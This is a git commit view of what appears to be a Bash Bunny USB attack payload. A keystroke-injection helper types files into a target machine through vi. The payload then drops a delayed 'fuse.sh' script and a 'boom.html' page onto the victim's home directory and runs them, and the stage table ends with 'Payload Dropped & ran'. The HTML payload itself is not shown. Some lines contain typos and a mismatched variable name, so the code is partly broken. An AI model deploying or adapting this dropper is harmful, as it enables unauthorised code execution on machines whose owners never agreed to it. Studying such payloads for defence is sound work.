Check Point

pull/318/head
bg-wa 2018-01-27 10:31:59 -08:00
parent afdafb27d6
commit 5c764849f3
4 changed files with 32 additions and 7 deletions

View File

@ -7,14 +7,15 @@
# Example:
# DROP /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true
source ./run.sh
source ./debug.sh
function DROP() {
DEBUG "drop" "start"
local source=$2
local destination=$3
local overwrite=$4
#local os=
ehco "start" >> "/root/udisk/payloads/${SWITCH_POSITION}/debug.txt"
RUN terminal
QUACK DELAY 1000
QUACK STRING vi "$destination"

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,7 @@
#!/bin/bash
# Get out of bed and do something productive here instead...
sleep 10
# Kaboom!!
firefox "~/boom.html"

View File

@ -14,21 +14,24 @@
# | Attack Stage | Description |
# | ------------------- | ---------------------------------------- |
# | SETUP | Open vi |
# | ATTACK | Writing HTML |
# | FINISH | Browser Ready |
# | ATTACK | Writing files |
# | FINISH | Payload Dropped & ran (remove the bunny) |
#
ATTACKMODE HID
LED SETUP
source_html="/root/udisk/payloads/${SWITCH_POSITION}/index.min.html"
target_html="~/index.html"
#date_time=
source_scipt="/root/udisk/payloads/${SWITCH_POSITION}/fuse.sh"
target_script="~/fuse.sh"
source_html="/root/udisk/payloads/${SWITCH_POSITION}/boom.html"
target_html="~/boom.html"
LED ATTACK
DROP $source_script $target_script
DROP $source_html $target_html
RUN LINUX "firefox ${target_html}"
RUN LINUX "${target_script}"
Q ENTER
LED FINISH